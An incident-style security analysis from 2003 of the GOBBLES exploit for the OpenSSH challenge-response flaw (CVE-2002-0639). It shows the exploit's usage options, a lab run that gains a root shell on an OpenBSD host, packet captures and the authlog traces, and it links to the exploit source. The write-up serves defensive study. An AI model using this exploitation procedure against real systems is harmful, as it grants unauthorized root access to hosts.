Analysis of the OpenSSH Challenge-Response Exploit

Packetwatch Research
http://www.packetwatch.net

Date: Tuesday, October 7, 2003
Analyst: Ryan Spangler

Table of Contents

Vulnerability Background

The OpenSSH Challenge-Response vulnerability was publicly announced on the Bugtraq mailing list. Internet Security Systems released a security advisory on the vulnerability on June 26th, 2002. Two days before the security advisory was posted, Theo de Raadt posted a message to Bugtraq warning of an upcoming OpenSSH vulnerability.

The problem has to do with the "challenge-response" authentication mechanism in the OpenSSH daemon (sshd). The challenge-response authentication is part of the SSH2 protocol. OpenSSH supports two different authentication options. OpenBSD 3.0 and later come with OpenSSH that has one of the authentication options enabled by default, but there are also many distributions that don't enable either of the options.

Immediately upon announcement of the vulnerability to Bugtraq [1], CERT followed up with an advisory announcement providing information and links to patches from OpenSSH [2].

As I said before OpenBSD 3.0 and later come with OpenSSH that has one of these authentication options enabled by default. It is possible for a remote user to send a specially-crafted reply to a machine running OpenSSH and exploit the vulnerability allowing root access.

Advisories and Vendor Information

Internet Security Systems Security Advisory: OpenSSH Remote Challenge Vulnerability [3]

OpenSSH Security Advisory: OpenSSH Remote Challenge Vulnerability [4]

CERT Advisory CA-2002-18: OpenSSH Vulnerabilities in Challenge Response Handling [2]

CVE (CVE-2002-0639) [5]

Exploit Analysis

On Monday July 1st, 2002, GOBBLES Security posted the first working exploit for the OpenSSH Challenge-Response vulnerability. This analysis paper makes use of the file posted by GOBBLES Security to VulnWatch. A list of the vulnerable versions of OpenSSH can be found at the Security Focus website. [1]

ssh.c [6]

This version that will be analyzed is an exploit posted on July 1 to the VulnWatch Vulnerability Disclosure mailing list, which is the first publicly released version of the exploit. The exploit was used on an isolated network using the following systems:

192.168.1.6 – FreeBSD 4.8 (attacker)
192.168.1.2 – OpenBSD 3.1 (victim) with a default install

Here is the output from executing the exploit without any arguments or switches.

```
%./ssh
GOBBLES SECURITY - WHITEHATS POSTING TO BUGTRAQ FOR FAME
OpenSSH 2.9.9 - 3.3 remote challenge-response exploit
#1 rule of ``ethical hacking'': drop dead

Usage: ssh [options] host
Options:
***** READ THE HOWTO FILE IN THE TARBALL *****
  -l user     Log in using this user name.
  -p port     Connect to this port.  Server must be on the same port.
  -M method   Select the device (skey or bsdauth)
              default: bsdauth
  -S style    If using bsdauth, select the style
              default: skey
  -d rep      Test shellcode repeat
              default: 10000 (with -z) ; 0 (without -z)
  -j size     Chunk size
              default: 4096 (1 page)
  -r rep      Connect-back shellcode repeat
              default: 60 (not used with -z)
  -z          Enable testing mode
  -v          Verbose; display verbose debugging messages.
              Multiple -v increases verbosity.
```

Figure 1: ./ssh options

After running ssh.c once, we have a fully interactive shell and prompt on the remote machine, allowing us to execute and see every command we send to the victim host. Because of the root user privileges we've logged in as, we have the capability to copy, remove, and create files, as well as all other superuser capabilities.

```
%./ssh -l root 192.168.1.2
[*] remote host supports ssh2
[*] server_user: root:skey
[*] keyboard-interactive method available
[*] chunk_size: 4096 tcode_rep: 0 scode_rep 60
[*] mode: exploitation
*GOBBLE*
OpenBSD mercury 3.1 GENERIC#59 i386
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/
ls -Fla
total 9074
drwxr-xr-x  14 root  wheel      512 Oct  5 21:28 ./
drwxr-xr-x  14 root  wheel      512 Oct  5 21:28 ../
-rw-r--r--   2 root  wheel      685 Oct  6 11:06 .cshrc
-rw-r--r--   2 root  wheel      148 Apr 13  2002 .profile
drwxr-xr-x   2 root  wheel      512 Apr 13  2002 altroot/
drwxr-xr-x   2 root  wheel     1024 Apr 13  2002 bin/
-r-xr-xr-x   1 root  wheel    53248 Oct  5 21:28 boot*
-rw-r--r--   1 root  wheel  4543036 Oct  5 21:27 bsd
drwxr-xr-x   4 root  wheel    19968 Oct  7 12:32 dev/
drwxr-xr-x  17 root  wheel     2048 Oct  5 21:35 etc/
drwxr-xr-x   3 root  wheel      512 Oct  5 21:35 home/
drwxr-xr-x   2 root  wheel      512 Apr 13  2002 mnt/
drwx------   2 root  wheel      512 Oct  5 21:26 root/
drwxr-xr-x   2 root  wheel     2048 Apr 13  2002 sbin/
drwxr-xr-x   2 root  wheel      512 Apr 13  2002 stand/
lrwxr-xr-x   1 root  wheel       11 Oct  5 21:26 sys@ -> usr/src/sys
drwxrwxrwt   2 root  wheel      512 Oct  7 12:32 tmp/
drwxr-xr-x  15 root  wheel      512 Apr 13  2002 usr/
drwxr-xr-x  24 root  wheel      512 Apr 13  2002 var/
```

Figure 2: attack output

Finally, I have provided several packets from the attacking host, captured with tcpdump.

```
Frame 50 (75 bytes on wire, 75 bytes captured)
    Arrival Time: Oct  7, 2003 12:51:24.587776000
    Time delta from previous packet: 0.006751000 seconds
    Time relative to first packet: 2.372465000 seconds
    Frame Number: 50
    Packet Length: 75 bytes
    Capture Length: 75 bytes
Ethernet II, Src: 00:60:94:97:e1:04, Dst: 00:60:94:ef:3b:1f
    Destination: 00:60:94:ef:3b:1f (Ibm_ef:3b:1f)
    Source: 00:60:94:97:e1:04 (Ibm_97:e1:04)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.1.2 (192.168.1.2), Dst Addr: 192.168.1.6
(192.168.1.6)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 61
    Identification: 0xf7fa (63482)
    Flags: 0x04
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0xbf67 (correct)
    Source: 192.168.1.2 (192.168.1.2)
    Destination: 192.168.1.6 (192.168.1.6)
Transmission Control Protocol, Src Port: 22 (22), Dst Port: 1027 (1027), Seq: 4263544303,
Ack: 1953936626, Len: 9
    Source port: 22 (22)
    Destination port: 1027 (1027)
    Sequence number: 4263544303
    Next sequence number: 4263544312
    Acknowledgement number: 1953936626
    Header length: 32 bytes
    Flags: 0x0018 (PSH, ACK)
        0... .... = Congestion Window Reduced (CWR): Not set
        .0.. .... = ECN-Echo: Not set
        ..0. .... = Urgent: Not set
        ...1 .... = Acknowledgment: Set
        .... 1... = Push: Set
        .... .0.. = Reset: Not set
        .... ..0. = Syn: Not set
        .... ...0 = Fin: Not set
    Window size: 17376
    Checksum: 0x4a46 (correct)
    Options: (12 bytes)
        NOP
        NOP
        Time stamp: tsval 1551012265, tsecr 113277
SSH Protocol
    SSH Version 2
        Encrypted Packet: 2A474F42424C452A0A

0000  00 60 94 ef 3b 1f 00 60 94 97 e1 04 08 00 45 00   .`..;..`......E.
0010  00 3d f7 fa 40 00 40 06 bf 67 c0 a8 01 02 c0 a8   .=..@.@..g......
0020  01 06 00 16 04 03 fe 20 85 ef 74 76 b4 f2 80 18   ....... ..tv....
0030  43 e0 4a 46 00 00 01 01 08 0a 5c 72 91 a9 00 01   C.JF......\r....
0040  ba 7d 2a 47 4f 42 42 4c 45 2a 0a                  .}*GOBBLE*.
```

Figure 3: packet from attack

Here is another packet from the attack.

```
Frame 59 (74 bytes on wire, 74 bytes captured)
    Arrival Time: Oct  7, 2003 12:51:33.047541000
    Time delta from previous packet: 4.409954000 seconds
    Time relative to first packet: 10.832230000 seconds
    Frame Number: 59
    Packet Length: 74 bytes
    Capture Length: 74 bytes
Ethernet II, Src: 00:60:94:ef:3b:1f, Dst: 00:60:94:97:e1:04
    Destination: 00:60:94:97:e1:04 (Ibm_97:e1:04)
    Source: 00:60:94:ef:3b:1f (Ibm_ef:3b:1f)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.1.6 (192.168.1.6), Dst Addr: 192.168.1.2
(192.168.1.2)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 60
    Identification: 0x02a6 (678)
    Flags: 0x04
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0xb4bd (correct)
    Source: 192.168.1.6 (192.168.1.6)
    Destination: 192.168.1.2 (192.168.1.2)
Transmission Control Protocol, Src Port: 1027 (1027), Dst Port: 22 (22), Seq: 1953936642,
Ack: 4263544391, Len: 8
    Source port: 1027 (1027)
    Destination port: 22 (22)
    Sequence number: 1953936642
    Next sequence number: 1953936650
    Acknowledgement number: 4263544391
    Header length: 32 bytes
    Flags: 0x0018 (PSH, ACK)
        0... .... = Congestion Window Reduced (CWR): Not set
        .0.. .... = ECN-Echo: Not set
        ..0. .... = Urgent: Not set
        ...1 .... = Acknowledgment: Set
        .... 1... = Push: Set
        .... .0.. = Reset: Not set
        .... ..0. = Syn: Not set
        .... ...0 = Fin: Not set
    Window size: 57920
    Checksum: 0x7f11 (correct)
    Options: (12 bytes)
        NOP
        NOP
        Time stamp: tsval 114123, tsecr 1551012273
SSH Protocol
    SSH Version 2
        Encrypted Packet: 6C73202D466C610A

0000  00 60 94 97 e1 04 00 60 94 ef 3b 1f 08 00 45 00   .`.....`..;...E.
0010  00 3c 02 a6 40 00 40 06 b4 bd c0 a8 01 06 c0 a8   .<..@.@.........
0020  01 02 04 03 00 16 74 76 b5 02 fe 20 86 47 80 18   ......tv... .G..
0030  e2 40 7f 11 00 00 01 01 08 0a 00 01 bd cb 5c 72   .@............\r
0040  91 b1 6c 73 20 2d 46 6c 61 0a                     ..ls -Fla.
```

Figure 4: another packet from the attack

Log Attack Analysis

Here are the log entries for the attacks. OpenBSD users will see the errors in the authlog file. This file is located at /var/log/authlog.

```
Oct  7 12:32:51 mercury sshd[7130]: Server listening on :: port 22.
Oct  7 12:32:51 mercury sshd[7130]: Server listening on 0.0.0.0 port 22.
Oct  7 12:51:24 mercury sshd[27035]: fatal: buffer_get_string: bad string length 263168
```

Figure 5: authlog entries

References

[1] Bugtraq ID 5093. http://www.securityfocus.com/bid/5093/.

[2] CERT Coordination Center: Advisory CA-2002-18 OpenSSH Vulnerabilities in Challenge Response Handling. http://www.cert.org/advisories/CA-2002-18.html.

[3] Internet Security Systems Security Advisory: OpenSSH Remote Challenge Vulnerability. http://xforce.iss.net/xforce/alerts/id/advise123.

[4] OpenSSH Security Advisory: OpenSSH Remote Challenge Vulnerability. http://www.openssh.com/txt/preauth.adv.

[5] Common Vulnerabilities and Exposures (CVE). http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0639.

[6] GOBBLES Security's OpenSSH Challenge-Response Exploit. http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0000.html.